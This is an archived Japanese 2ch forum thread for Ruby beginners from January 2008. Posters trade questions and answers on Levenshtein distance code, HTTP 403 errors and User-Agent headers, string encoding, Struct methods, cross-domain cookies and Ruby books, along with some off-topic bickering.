Ruby 初心者スレッド Part 17at TECH
Ruby 初心者スレッド Part 17 - 暇つぶし2ch1:デフォルトの名無しさん
08/01/16 17:41:27
プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。
関連スレやURLは>>2-7あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。

■質問する人へ
質問する前に次の3つをすること。ここで回答を待つよりそのほうが早い。
 ・ぐぐる
 ・マニュアルで探す URLリンク(www.ruby-lang.org)
 ・FAQを読む URLリンク(www.ruby-lang.org)
質問には以下を書くこと。へたくそな質問は再提出を要求される。
 ・詳しい内容(「動きません」「うまくできません」では回答しようがない)
 ・エラーメッセージ(なるべくそのままで)
 ・実行環境(OS名、Rubyのバージョン(ruby -v でわかる))
 ・最終的にやりたいこと(もっとよい方法がある場合が多いので)
回答してくれた人には「ありがとう」のひとことをいってあげて。

■回答する人へ
相手は初心者、根気よく育てるつもりで。質問がへたくそなのも大目にみてあげる。
それができないならこないこと(だって初心者スレだもん)。
 ・既出な質問やFAQは「XXXを読め」でいいので、叩かない&怖がらせない。
 ・わけわかな質問にもエスパー発揮で。できれば質問の仕方を教えるぐらいで。
 ・自信がない回答ならその旨表明すること。誤った回答は初心者じゃ見抜けない。

2:デフォルトの名無しさん
08/01/16 17:42:03
Q: Rubyの勉強をはじめようと思うのですけども、
  一からRubyをはじめる初心者向けのRuby入門書は何がお薦めでしょうか?

A: プログラ自体の初心者だったら「たのしいRuby 第2版 Rubyではじめる気軽なプログラミング」
  他の言語経験があるんだったら「プログラミングRuby 第2版 言語編」

3:デフォルトの名無しさん
08/01/16 17:45:20
■前スレ
Ruby 初心者スレッド Part 16
スレリンク(tech板)

■関連スレ
Rubyについて Part 30
スレリンク(tech板)

Rubyの宿題教えてください。
スレリンク(tech板)
スレリンク(tech板)

【ActiveScript】RubyをWindowsで使うスレ【GUI】
スレリンク(tech板)

Ruby on Rails
スレリンク(tech板)

Rubyについて(アンチ専用) Part002
スレリンク(tech板)

4:デフォルトの名無しさん
08/01/16 17:47:27
■公式/非公式関連リンク
Ruby Home Page
URLリンク(www.ruby-lang.org)

Rubyリファレンス(よくサーバーエラーになります)
URLリンク(www.ruby-lang.org)
URLリンク(www.ruby-doc.org) (英語)

リファレンスのHTMLヘルプ版配布
URLリンク(elbereth-hp.hp.infoseek.co.jp)
# Windowsで便利

Ruby FAQ
URLリンク(ruby-lang.org)

Programming Ruby - The Pragmatic Programmer's Guide
URLリンク(www.ruby-doc.org)
# 好評書籍をWebで公開中、ただし英語

逆引きRuby
URLリンク(www.namaraii.com)

5:デフォルトの名無しさん
08/01/16 17:53:42
RAA - Ruby Application Archive
URLリンク(raa.ruby-lang.org)

RubyForge
URLリンク(www.rubyforge.org)
# Rubyのアプリやライブラリが検索できる

日本Rubyの会 公式Wiki
URLリンク(jp.rubyist.net)
# メニューに表示されていない埋もれた情報ページ多数

Rubyist Magazine - るびま
URLリンク(jp.rubyist.net)
# コードレビューが好評

Matzにっき(Ruby作者の日記)
URLリンク(www.rubyist.net)

Ruby hotlinks 五月雨版(日記やblogのアンテナ)
URLリンク(www.rubyist.net)

Rubyの本一覧
URLリンク(www.ruby-lang.org)

<rubyXML/>
URLリンク(www.rubyxml.com)

6:デフォルトの名無しさん
08/01/16 17:54:46
■最近できたWiki
Ruby 初心者スレッド Hiki
URLリンク(starlet.s145.xrea.com)

Ruby Portal
URLリンク(ruby.morphball.net)

7:デフォルトの名無しさん
08/01/16 18:02:44
■Ruby1.9について
未だバグが多く、不安定です。
正式な日本語ドキュメントも出ていません。初心者は手を出さないように。
安定版リリースの1.8.xを使いましょう。

Changes in Ruby 1.9(英語)
URLリンク(eigenclass.org)

8:デフォルトの名無しさん
08/01/16 18:08:10
テンプレ少し整理しました
間違いとか重要なのに入ってないURLとかあればよろしく

9:デフォルトの名無しさん
08/01/16 18:27:06
>>1

10:デフォルトの名無しさん
08/01/16 20:03:39
>>1

11:デフォルトの名無しさん
08/01/16 20:05:11
スレリンク(tech板:988番)
:デフォルトの名無しさん:2008/01/16(水) 15:05:44
質問です。2つの文字のコマンドラインで入力された2つの文字列のレーベンシュタイン距離(編集距離)を求めたいです。
ただし、kakasiとtakasaは通常なら距離が2になるのですが、3にしたいです。
要するに母音に対して変換が行われたときのみ距離を2倍にしたいです。
できれば~倍かはコマンドラインから指定できるとなお良いです。
扱う文字はaiuなどではなく、kakisuなど子音を含むものとします。nnやnya等も考えません。
つまり配列にいれるなら奇数のとこに必ず母音が入るというものです。
通常の距離を求めるコードは以下にソースはっておくので、どなたか改造、アドバイスお願いします。


12:デフォルトの名無しさん
08/01/16 20:05:37
スレリンク(tech板:989番)
:デフォルトの名無しさん:2008/01/16(水) 15:07:31
class String

def levenstein(other, ins=1, del=1, sub=1)
# ins,del,subは重みつきコスト
return nil if self.nil?
return nil if other.nil?
dm = [] # 距離行列

# 最初の行の値を初期化する
dm[0] = (0..self.length).collect { |i| i * ins }
fill = [0] * (self.length - 1)

13:デフォルトの名無しさん
08/01/16 20:09:32
スレリンク(tech板:993番)
スレリンク(tech板:988番):2008/01/16(水) 17:33:21
続きです。
#重要な比較
dm[i][j] = [
dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub),
dm[i][j-1] + ins,
dm[i-1][j] + del].min
end
end


#行列の最後の値が文字列間のレーベンシュタイン距離となる
dm[other.length][self.length]
end
u1 = gets
u2 = gets

yyy = u1.levenstein(u2)
puts yyy
#yyyが距離になります。

end
よろしくお願いします。

14:デフォルトの名無しさん
08/01/17 00:15:57
Syntax Error

15:デフォルトの名無しさん
08/01/17 00:36:05
質問です。
マルチスレッドを使用して非同期のP2P形式チャットプログラムを作りたいのですが、
クライアント側から送信しないとサーバ側で送信できません(同期通信になってる)
非同期にする方法がイマイチわからないので、できればサンプル等を用いてご指導お願いします。
最終的に作りたいものは、ユーザ1がユーザ2に接続し、任意のタイミングで文字列を送受信する
プログラム(メッセンジャーみたいな感じ)です。よろしくお願いします。

Windows XP(mswin32)/1.6.8



16:デフォルトの名無しさん
08/01/17 00:43:11
なんかRubyってよりプログラミング一般の質問ばっかりだな

17:デフォルトの名無しさん
08/01/17 00:43:43
>>15
こんなのがある。
URLリンク(blade.nagaokaut.ac.jp)
short codingになってて読みにくいので、自力でわかりやすく整形してくれ。

18:デフォルトの名無しさん
08/01/17 02:00:33
Windows・Ruby1.8.6にて、指定EXE(notepad.exe等)のプロセスが一つ以上存在していたら、
それら全てを(正常)終了させる、といったコードはどうなりますか?


19:デフォルトの名無しさん
08/01/17 02:13:18
tasklist taskkill

20:デフォルトの名無しさん
08/01/17 07:04:04
質問させて頂きます。

実行環境:
 ruby: 1.8.6 (2007-03-13 patchlevel 0) [i386-mswin32]
 OS: Windows XP Professional Version2002 SP2
サーバ:




21:20
08/01/17 07:10:21
すいません、間違って途中で書き込んでしまいました

実行環境:
 ruby: 1.8.6 (2007-03-13 patchlevel 0) [i386-mswin32]
 OS: Windows XP Professional Version2002 SP2
 サーバ:Apache2

内容:
 特定のURIから画像をひっぱてきて表示したいのですが、
 うまくいかない場合があります。

うまくいくURI
 requri = "URLリンク(www.google.co.jp)"
うまくいかないURI
 requri = "URLリンク(mt1.google.com)"

上記URIに対し下記の処理を実行して画像を表示します。
require 'open-uri'
uri = URI.parse(requri)
str = uri.read
print 'Content-type: '+ str.content_type + "\n\n"
STDOUT.binmode #これやらないと画像などのバイナリ系が勝手に文字列エンコードされました。
print str

うまくいくURIの場合はCGIとして呼び出すと画が表示されますが、
うまくいかないURIの場合、 str = uri.read のところで
c:/ruby/lib/ruby/1.8/open-uri.rb:287:in `open_http': 403 Forbidden (OpenURI::HTTPError)
とエラーが返ってきます。
ブラウザのアドレス欄に うまくいかないURIを直接入力してジャンプした場合はFobiddenになりません。
cgi経由だとうまくいかないようです。

以上です。よろしくおねがいします。

22:デフォルトの名無しさん
08/01/17 07:49:36
str = uri.read("User-Agent" => "unko")

23:デフォルトの名無しさん
08/01/17 08:07:21
>>21
URLリンク(www.studyinghttp.net)

24:デフォルトの名無しさん
08/01/17 08:40:40
>but your query looks similar to automated requests
>from a computer virus or spyware application.

恐らくヘッダが足りないと見た

25:デフォルトの名無しさん
08/01/17 09:05:59
>>21
あんまRuby関係ないな
HTTPステータスコードと「サーバから拒否される理由」を勉強するべき
アクセルとブレーキを物理的に踏めるからといって交通標識を知らずに車を公道で運転することはできない

26:デフォルトの名無しさん
08/01/17 09:14:50
ユーザーエージェント付けてないだけでひどい言われようだな

27:デフォルトの名無しさん
08/01/17 09:21:02
車の例が適切だけど、アクセルとブレーキの使い方を知ったからって言ってそのまま公道走られると迷惑だからな。
小手先の迂回方法だけ教えてもゴミ増やすだけだ。ステータスコードとその意味を知らないなんて致命的。
どうせどっかで学ばないといけないんだし早いほうがいい。

28:デフォルトの名無しさん
08/01/17 09:48:43
>25,27
別にRFC2616見たからって、そこからヘッダが足りない、
という答えを導き出すことはまず不可能だと思うがね。
RFC的にはクエリ自体は合法なわけだし。
 

29:デフォルトの名無しさん
08/01/17 10:00:33
>>21 の「403 Forbidden」からどうやって >>22 を導き出したのか知りたい。

30:デフォルトの名無しさん
08/01/17 10:01:24
その通り。

31:デフォルトの名無しさん
08/01/17 10:22:13
>>28
RFCを出すまでもなく、おまえは話の本質が分かってないわけだがw

32:デフォルトの名無しさん
08/01/17 10:38:11
おいおい、こいつ話の本質とか言い出したぞ

33:デフォルトの名無しさん
08/01/17 12:28:44
こいつ話?

34:デフォルトの名無しさん
08/01/17 12:33:52
>>28
何しに来たんだこいつは?

35:デフォルトの名無しさん
08/01/17 12:34:50
ある種の勘違い君が、賢いことを書こうと背伸びすると
あんな風になる。

36:デフォルトの名無しさん
08/01/17 12:57:41
>>35
たしかに >>25 >>27 あたりは本当に酷いな

37:デフォルトの名無しさん
08/01/17 12:58:58
2chの程度の低い罵りあいは先に引いた方が勝ちだと思うんだぜ

38:デフォルトの名無しさん
08/01/17 13:12:55
じゃあ俺が先に引く

39:デフォルトの名無しさん
08/01/17 13:14:58
ざけんな俺の方が先に引く。

40:デフォルトの名無しさん
08/01/17 13:15:13
いや俺が先に弾く

41:デフォルトの名無しさん
08/01/17 13:16:25
これが初級ネット板クォリティ

42:デフォルトの名無しさん
08/01/17 13:34:44
>>37
ただ困ったことに、程度の低い罵り合いの多くは
「本人達は自分のレスが賢さの反映だと思っているから」続くんだよね。
俺は頭が良くて性格が悪い人間なんだ、そんな俺のレスは馬鹿の目から見れば
程度が低い罵りに見えるのだろう、でも本当は賢いから俺は言葉を巧みに操れるんだ俺にはわかる、ってね。

43:デフォルトの名無しさん
08/01/17 13:43:37
>>42
日本語で書き直してもらえませんか?

44:デフォルトの名無しさん
08/01/17 13:53:56
そのまま読めずにいたほうが幸せだよ。
都合の悪いものを避けようとする君の本能は、いま凄く正しく動いた。

45:デフォルトの名無しさん
08/01/17 13:55:21
>>43,44

>>42の例

46:デフォルトの名無しさん
08/01/17 13:57:04
めどくさがらずに書き直してもらえまんせか?

47:デフォルトの名無しさん
08/01/17 13:57:13
罵ってるようにはみえんが

48:デフォルトの名無しさん
08/01/17 14:02:15
むしろ、じゃれあってる

49:デフォルトの名無しさん
08/01/17 14:17:58
めんどぐざらずに書き直しらほうがいいと思います?

50:デフォルトの名無しさん
08/01/17 14:21:37
実にRubyスレらしい流れ

51:デフォルトの名無しさん
08/01/17 14:24:02
>>42
そういうことを考えないとrubyを覚えることはできないのでしょうか?
難しそうで残念です。

52:デフォルトの名無しさん
08/01/17 14:31:54
>42
最後の行が特に意味不明だ…
俺は…できる、俺にはわかる。って、自分のことが自分でわかるってなにそれw

53:デフォルトの名無しさん
08/01/17 14:41:06
>>52
おまえみたいなサル程度の脳じゃ理解できないんだろ

54:デフォルトの名無しさん
08/01/17 14:44:13
>>52
--yydebug というオプションをつけると、構文解析の過程が表示されます。

55:デフォルトの名無しさん
08/01/17 14:47:23
>>52
馬鹿が見ればこうなんだろうが実際はこうなんだ、という構図が、俺にはわかる、ってことだろ。
そもそも下の2行は、自分で一方的に自分の賢さを認めて完結しちゃってる自称おりこうさんの思考を
書いてるんだから、基本的に自己完結であるのは当然だ。

56:デフォルトの名無しさん
08/01/17 15:23:06
>>55
おまえがキモイのは分かったからw

57:デフォルトの名無しさん
08/01/17 15:45:27
いいかげんこのRubyスレらしい流れってのも邪魔くさいよな。
S/N悪くなるだけで。
本気で言い争いしてるんだったら氏んでくれ。
煽り合いで退屈を紛らわしているんだったら他の場所へ行かないかな。

58:デフォルトの名無しさん
08/01/17 16:00:33
>>57
そういうこと言うからいつまでも続くし、やめてもらえませんか?

59:デフォルトの名無しさん
08/01/17 16:14:08
結局、RFCがどうとかいうのは自慢だったんだなw

60:前スレ988
08/01/17 16:34:02
>>14エラーはなかったです。。。

61:デフォルトの名無しさん
08/01/17 16:37:18
>>59
kwsk

62:前スレ988現11
08/01/17 16:38:04
と見せかけて12と13のスレの間にこれいれるの忘れてました。
すいません。
# 最初の列の値を初期化する
for i in 1..other.length
dm[i] = [i * del, fill.flatten]
end

# 行列に値を入れる
for i in 1..other.length
for j in 1..self.length


63:デフォルトの名無しさん
08/01/17 16:48:04
>>11が何言ってるか解読できないのは俺がゆとりだから?

64:デフォルトの名無しさん
08/01/17 18:16:28
自分が関係ないなということを瞬時に判断できないのはまあゆとりだからかもしれん

大学の授業とかで専門的に学ぶような事柄だから
そもそも知らないって人が見ただけで理解できなくても桶

65:デフォルトの名無しさん
08/01/17 18:19:56
恐らく63は専門的なことが分からないのではなく、11の日本語そのものが理解出来ないと言ってるのだと思う

66:デフォルトの名無しさん
08/01/17 18:23:53
俺は分かったけど

たったひとつの専門タームが理解出来ないために
文章全体が意味不明のように感じるのはよくあること

67:デフォルトの名無しさん
08/01/17 18:26:21
英語長文や古文読解のセンター試験みたいなもんだな

68:デフォルトの名無しさん
08/01/17 18:26:39
$ hoge kakasi takasu
2

$ hoge takasu clinic
6

っていう結果が欲しいだけだろ


69:前スレ988現11
08/01/17 19:44:41
>>68さま
その通りに近いでございます。sagu sageだったら”1”ってゆー結果が得られますが”2”ってゆー結果にしたいです。
この場合だとeを置換してuにしますが、母音を扱うため2になるということです。
母音は必ず偶数文字目に出るとします。(sasasaはありえるが、asaはありえない)

おそらく僕がゆとり世代だからというのがすべての原因です。。。すいません。

70:前スレ936
08/01/18 00:00:43
>>>897 >>899
>Ruby関係なく、リソース開放などの処理するときはGCに依存しちゃダメだろwww
>明示的に書かないと・・・
>C#とかJavaとかでもそうだぜ?
>C#で言えば、Disposeみたいなの

すまん、おれがアホすぎる理由を教えてくれ。

Dispose なんか使わん。IDisposable 実装して、 usingでRAII だろ常考ということ?

71:デフォルトの名無しさん
08/01/18 04:48:18
下のコードをローカル環境で実行すると、必ず10桁で
某サーバにアップして実行すると、時々20桁になってしまいます。。。
ちなみにローカルとアップ先のサーバのRubyバージョンは1.8.5で同じです。
何故でしょうか?

cgi = CGI.new
cgi.out{sprintf("%010u", Time.now.to_s.hash)}

72:デフォルトの名無しさん
08/01/18 04:56:24
いいじゃん別に20桁でも
オブジェクトIDは10桁でなければならないって決まってるわけでもないし

73:71
08/01/18 04:56:52
あっ、今調べたらサーバのCPUがAthlon64でした。
これが原因でしょうか??

74:デフォルトの名無しさん
08/01/18 05:08:08
8進数

75:71
08/01/18 05:35:31
訳あって、10桁に揃えたいんです…
とりあえず、無理やりこんな感じで解決した事はしたのですが…
sprintf("%010u", [Time.now.to_s.hash].pack('L').unpack('L')[0])

76:デフォルトの名無しさん
08/01/18 07:12:17
二回実行されてんじゃないの?

77:デフォルトの名無しさん
08/01/18 08:35:00
String#hash再定義したら?


78:デフォルトの名無しさん
08/01/18 12:06:59
x86-64版rubyとみた

79:71
08/01/18 18:04:42
>>76
う~ん、二回実行されている事はないと思うのですが…
>>77
とりあえず、>>75の方法で解決出来たので、これでやってみます。
>>78
そういうのがあるんですか。
もしそうならそれが原因でしょうね。

80:デフォルトの名無しさん
08/01/18 18:23:17
Time.now.to_s.hashが時折返す負数が問題ならば
sprintf("%010u", Time.now.to_s.hash % 10000000000)
のようにすれば一応は収まるような気がする。


81:デフォルトの名無しさん
08/01/18 19:12:19
ちょっと確認させてください。

正規表現スレかプログラム初心者で問う事かもしれないと、
思ったんですが特定の書籍の記述についての質問なので
こちらでさせてくだされ。
「オブジェクト指向スクリプト言語Ruby(まつもと氏/石塚氏 共著)」の
78ページと81ページにある

/\w\w\w+,?\s*(\w\w\w)\s*[\d:]+\s*(\d{4})/

最初の英数字三文字の一回以上の繰り返しのあとにカンマがあります。
これはメタ文字ですか?
それとも「+と?」と「+?」を書き分けるためのものですか?

82:デフォルトの名無しさん
08/01/18 19:32:52
>>81
メタ文字関係ない。まごうかたなき "," という文字。

メールヘッダなんかに使われる時刻文字列にマッチする正規表現だね。
"Fri, 18 Jan 2008 19:30:43 +0900"
みたいな文字列で、最初の部分に曜日があるんだけど、そこにマッチする。

83:デフォルトの名無しさん
08/01/18 20:14:23
むしろカンマの後の?がメタ文字だな。

84:デフォルトの名無しさん
08/01/18 20:21:56
>>82-83
つかえが取れました。感謝!

85:デフォルトの名無しさん
08/01/18 23:05:33
つかえとっちゃいかんだろw

86:11
08/01/19 00:47:43
わかりにくかったので・・・もう一度・・・
class String

def levenstein(other, ins=1, del=1, sub=1)
# ins,del,subは重みつきコスト
return nil if self.nil?
return nil if other.nil?
dm = [] # 距離行列

# 最初の行の値を初期化する
dm[0] = (0..self.length).collect { |i| i * ins }
fill = [0] * (self.length - 1)

# 最初の列の値を初期化する
for i in 1..other.length
dm[i] = [i * del, fill.flatten]
end

# 行列に値を入れる
for i in 1..other.length
for j in 1..self.length

87:11
08/01/19 00:48:21
dm[i][j] = [
dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub),
dm[i][j-1] + ins,
dm[i-1][j] + del].min
end
end


#行列の最後の値が文字列間のレーベンシュタイン距離となる
dm[other.length][self.length]
end
u1 = gets
u2 = gets

yyy = u1.levenstein(u2)
puts yyy
#yyyが距離になります。

end
よろしくお願いします。

88:デフォルトの名無しさん
08/01/19 18:39:10
クッキーを設定するcgiをhtml中にimgタグで記述して
そのcgiを、htmlと同一サーバ内に置いてhtmlにアクセスした場合は
問題なくクッキーが設定されるのですが
cgiを別サーバに置いて、外部呼出しにした場合
Mozilla系のブラウザでは問題ないのですが、IEの場合クッキーが設定されません…

以下がクッキーを設定するコードです。
Cgi = CGI.new
cookie = CGI::Cookie::new({'name' => 'TEST', 'expires' => Time.now + 200})
Cgi.out("cookie" => cookie){''}

89:デフォルトの名無しさん
08/01/19 19:00:55
よくわかんねーけど
dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub),
の行をどうにかすればいいような気がする


90:11
08/01/19 19:09:21
>>89さま
dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub),
dm[i][j-1] + ins,
dm[i-1][j] + del
のところをいじれば良い・・・
多分sub.ins.delそれぞれがij行列の奇数要素で行われた場合
sub * g1
gi = gets
みたいにできればいいかなって思うんですが、、、
うまくかけません。。。

91:デフォルトの名無しさん
08/01/19 23:53:36
>88
Mozillaがセキュリティぶっちぎってるだけのような……
てゆーかXSSじみたことをさせようとしてるように見えるんだが
cgiを別サーバに置く理由は? 負荷とか実行権限ないとか?

92:デフォルトの名無しさん
08/01/20 00:08:33
クッキーは全くの別ドメインからは読めないよね

www.example.comとhoge.example.comならできるけど、www.example.comとwww.example.jpではダメ
前者でIEが動作しないってのはIEのクッキー設定で厳しくなってるだけのような気もするが

93:デフォルトの名無しさん
08/01/20 00:17:10
機種依存文字を含むファイル名のファイルを扱う方法ってありますか?

94:デフォルトの名無しさん
08/01/20 00:29:08
お着せの方法はないから自前で何か考えるしかないねえ

95:93
08/01/20 00:42:18
>>94
う~ん、そうですか。
やっぱり機種依存文字を含んでる時点でもうよろしくないですよね。
なにかしらの回避策を考えてみます。どうもです。

96:デフォルトの名無しさん
08/01/20 00:53:34
機種に依存したスクリプトでいいじゃん

97:88
08/01/20 01:38:05
>>91
いや、別に悪意のある事をしようとはしてないです。
cgiを別サーバに置く理由は、ちょっと負荷が気になるので
メインのhtmlがあるサーバに置きたくないだけなんです。

>>92
一応、問題なく外部呼出しからクッキーが設定出来たFirefoxで見ると
クッキーのpathはcgiがあるサーバのものになってます。

もし下の様な場合
URLリンク(www.main.com) ←imgタグでcgiの呼び出しを記述した観覧用のhtmlがるURL
URLリンク(www.cgi.com) ←クッキーを設定するcgiのURL

"URLリンク(www.main.com)" にアクセスすると
Firefoxのクッキーのパスは "URLリンク(www.cgi.com)" になってました。

98:デフォルトの名無しさん
08/01/20 01:56:55
>>91
Mozzilaは他のドメインのクッキー上書きできるのか?w

99:デフォルトの名無しさん
08/01/20 07:08:35
>>97
「アクセスしたサイトからのクッキーのみ許可」が出来るブラウザって
結構あるし、自分はそれが出来るブラウザでは必ず設定してるけど、
そーゆー事する人には提供しなくてもいいサービスなの?

100:デフォルトの名無しさん
08/01/20 12:37:48
現在ruby.exeにスクリプトのパスを渡して実行しているのですが、
スクリプトをutf8で書いているため出力がutf8です。
スクリプト自体に変更を加えず、つまりruby.exeへの変数を弄くって出力を
utf8からShift_JISにすることは出来ないでしょうか?
宜しくお願いします _ _

101:デフォルトの名無しさん
08/01/20 13:04:42
Ruby1.9なら、LANGをja_JP.ShiftJIS系統にすれば
default_externalがうまいこと変更されるんじゃないかな。

102:デフォルトの名無しさん
08/01/20 13:06:19
>>101
>>7

103:デフォルトの名無しさん
08/01/20 13:08:23
>>100
難しいこと考えずに出力後にShift_JISに変換すれば用は足りると思われ

104:デフォルトの名無しさん
08/01/20 13:32:02
>>103
そんな方法があるのか? あるなら俺も知りたい
Windows環境だとShift-JIS以外の出力が文字化けするのが……

105:デフォルトの名無しさん
08/01/20 13:33:57
出力後->出力直前?

106:デフォルトの名無しさん
08/01/20 13:36:00
C:\>ruby -r 'nkf' -e "puts NKF.nkf('--euc','日本語です')"
ニ・ワク・ヌ、ケ

C:\>ruby -r 'nkf' -e "puts NKF.nkf('--euc','日本語です')" | nkf -s
日本語です

標準出力に関してはこういうことでは…
ファイルに書き出したのがShift_JIS以外だってのはファイル探して変換かけるとか

107:デフォルトの名無しさん
08/01/20 13:49:35
そういう時にこそIO.writeを書き換えるんだ

108:デフォルトの名無しさん
08/01/20 16:23:03
Structのvalueに対してmap! { |n| n[/\d+/}みたいなことをするにはどうしたらいいんでしょう?
#<struct
report="3件(3人)",
inheritor="1品",
comment="4件のコメントを読む">
上を下のようにしたいのですが。
#<struct
report="3",
inheritor="1",
comment="4">

109:デフォルトの名無しさん
08/01/20 17:05:52
dog = Struct.new("Dog", :name, :age)
class Struct::Dog
  def map!(&block)
    if block
      size.times {|i| self[i] = block.call(self[i]) }
    end
    self
  end
end
d = dog.new("taro", 9) #=> #<struct Struct::Dog name="taro", age=9>
d.map! {|m| m*2} #=> #<struct Struct::Dog name="tarotaro", age=18>

110:デフォルトの名無しさん
08/01/20 17:25:02
最近、StructがEnumerableだという事を初めて知った

dog = Struct.new("Dog", :name, :age)
d = dog.new("taro", 9) #=> #<struct Struct::Dog name="taro", age=9>
mapped = d.map {|m| m*2}
d = dog.new(*mapped) #=> #<struct Struct::Dog name="tarotaro", age=18>

111:デフォルトの名無しさん
08/01/20 17:39:01
>>99
今のIEは、アクセスしたサイトからのクッキー以外はデフォでブロックしますね

112:デフォルトの名無しさん
08/01/20 17:41:50
>>100-104
Windowsなら、UTF-8対応のターミナル使え
俺のお勧めは Poderosa
たぶん、puttyもいけるんじゃね?

113:デフォルトの名無しさん
08/01/20 17:57:23
業者乙
.NETの2.0入れないと動かないようなターミナルなんぞ問題外のさらに外

114:デフォルトの名無しさん
08/01/20 18:08:01
putty ってローカルで使えるの?
リモートでしか使ってない

115:デフォルトの名無しさん
08/01/20 18:18:11
>>113
.NET 2.0入れてないプログラマなんぞ問題外のさらに外

116:デフォルトの名無しさん
08/01/20 18:18:51
>>113
Poderosa 3 なら、.NET 1.0で動くよ

117:デフォルトの名無しさん
08/01/20 18:19:45
113は.Net2.0が入らない環境しか利用できないんだよ。


118:デフォルトの名無しさん
08/01/20 19:05:36
>>108
余計なお世話だけど
それらの値はStructに代入する前に数値型に直しておく方がいいと思う

119:108
08/01/20 19:13:48
>>109-110
ありがとうございます。勉強になりました。

120:デフォルトの名無しさん
08/01/20 19:44:50
Rubyist Magazine出張版 Ruby on Windows
URLリンク(www.amazon.co.jp)
ちょっと気になる

121:デフォルトの名無しさん
08/01/20 19:49:20
この人のるびま記事はすごく良かった
どの程度加筆されるかにもよるけど期待大

122:デフォルトの名無しさん
08/01/20 19:51:36
ちょっとまて、もう発売されてるみたいじゃないか・・・
漏れのバカバカバカ

123:デフォルトの名無しさん
08/01/20 20:01:01
立ち読みした限りでは「WindowsでRubyを使って楽をしたい」と考える人の最初の本として申し分ないように見える
載ってる例以外の事をしたいと考えたときに頼りになるかどうかはわからん

あとこれはどうでもいいんだが

def method_hoge arg

end

ってdefで引数カッコ省略の書き方をしてるのがどーにも性に合わん

124:デフォルトの名無しさん
08/01/20 20:02:43
>>120
> Javaや.NET CLRなどの膨大なソフトウエア資産を活用する方法まで
mjsk

125:デフォルトの名無しさん
08/01/20 20:03:28
JRubyとRuby.netか

126:デフォルトの名無しさん
08/01/20 20:15:59
>>124
URLリンク(book.mycom.co.jp)
> 第1回 Win32OLEことはじめ
> 第2回 Excel
> 第3回 ADODB
> 第4回 Outlook
> 弟5回 Web自動巡回
> 弟6回 Windowsアプリケーションの自動操作
> 弟7回 他の言語でのCOM
> 弟8回 WMI
> 弟9回 iTunes
> 弟10回 Exerb
> 弟11回 RubyCLR
> 弟12回 RjbとApache POI
> 弟13回 JRuby

5回目から弟になってるのはコピペ検知用の罠か何かか

127:デフォルトの名無しさん
08/01/20 20:31:21
弟に吹いた

Win32APIはあんまり書いてなさそうなのが残念だけど買っちゃおうかな
OLEとか情報集めるの大変だしね

128:デフォルトの名無しさん
08/01/20 21:06:13
目次見て俺でも書けるような気がしてきた

129:デフォルトの名無しさん
08/01/20 21:24:29
目次よりもサンプルスクリプト見たほうがいいな

130:デフォルトの名無しさん
08/01/20 22:06:51
インスタンス変数が設定されているかどうかを調べるために
class Object
 def instance_variable_exist?(name)
  self.instance_variables.include?(name)
 end
end
としているんですけど、効率が悪いので、なんかもっといい方法あったら教えてください。



131:デフォルトの名無しさん
08/01/20 22:13:38
instance_variable_defined? 使えばいいんじゃない?

132:デフォルトの名無しさん
08/01/20 23:10:07
>129
そう思う奴のうち実際に書ける奴は半分以下
さらにそのうち本当に書く奴は1割以下
俺? もちろん最初の書ける奴、の上限で除外orz

133:デフォルトの名無しさん
08/01/20 23:10:33
上限てなんやorz
条件な

134:デフォルトの名無しさん
08/01/20 23:15:48
>>127
発売日に買って斜め読みした俺がコメント.
ExcelやOutlook,IEについては筆者セレクションによるメソッドやプロパティが
ちょろっと紹介されてる.ちょっと便利.

ただ,基本は限られた紙面に広範囲な情報を詰め込んでいて
個々のトピックについてはビックリするほどに紹介レベル.
ExerbRuntimeモジュールなんてメソッドすら載ってないよ.
でも,いつもexe化するのにしか使って無くて,そんなモジュールの存在を知らず
普通にdl/win32使ってexeのパス取得してた俺ショック.

WMIもPowershellの紹介とかで名前は聞いたことがあったし
デフォルトで実行パスにwbemが含まれているので気にはなっていたけど,使えるねこれ!
NICのIPアドレス取得するのにipconfig使ってて,一瞬,DOS窓が表示されるのがウザかったんだけど
WMIで解決しました.

上級者は必要ないかもしれないけど,初心者は買って損のない本.

135:88
08/01/20 23:40:34
>>99
おとなしく同一サーバにcgiを置く事にしました。
お騒がせしてすんまそん。

136:デフォルトの名無しさん
08/01/20 23:46:14
>>131
1.9からじゃないか?

137:デフォルトの名無しさん
08/01/20 23:59:07
>>136
1.8.6 から追加されてる

138:127
08/01/21 00:02:51
>>134
何という親切なコメント。ありがとね
そのあたりの知識も不足してる気がするし買うことにするよ

139:デフォルトの名無しさん
08/01/21 00:10:10
>>134
何という親切なコメント。ありがとね
そのあたりの知識も不足してる気がするし買うことにするよ

140:デフォルトの名無しさん
08/01/21 00:12:50
>>137
安定版という意味では変わらないか

141:デフォルトの名無しさん
08/01/21 00:41:00
>>137
ホントだすまん。
Refeでしか確認してなかったよ。

142:デフォルトの名無しさん
08/01/21 04:30:38
は!

143:デフォルトの名無しさん
08/01/21 04:40:53
503 対応してくれたみたいでありがとうございます><

144:デフォルトの名無しさん
08/01/21 09:10:19
>>131
そんなのあるんだ。それってどのバージョンから定義されているかわかりますか。
わしがもってるマニュアルには載ってなかったので。

145:デフォルトの名無しさん
08/01/21 16:14:08
1.8.6でこっそり追加だと思った
マニュアルには反映されてない可能性が


Emacs上でRubyスクリプト書いてる人はいる?

・rbファイルをruby-modeで読み込む
・普通に全部手書きする
・普通に別窓のコンソールでスクリプトを実行しエラーを目測
・普通に方向キー連打で該当行に到達
・普通に別起動のHTMLヘルプを見ながら修正

という、よく考えたらかなり無駄っぽい動きをしてる気がする俺をたしなめてくれ

146:デフォルトの名無しさん
08/01/21 16:43:12
>>145
めっ

147:デフォルトの名無しさん
08/01/21 17:10:38
> 普通に全部手書きする
Emacs自体に動的略語展開があるから、
一度読み込んだファイルに書いてある単語は2回書く必要はないかと
> 方向キー連打で該当行に到達
M-x goto-line

148:デフォルトの名無しさん
08/01/21 19:33:42
Rubyを使って大量のファイルに置換作業を加えたいんだけどどんなことを勉強すればいいですか?


149:デフォルトの名無しさん
08/01/21 19:46:23
>>148
それの期限を限りなく引き延ばすための技術や話術

普通に学んでる限りはそんなことをとりたてて聞いたりしないもんだ
聞かなきゃならないってことはRubyの基本やコンピュータの知識がなってないってことだから

150:デフォルトの名無しさん
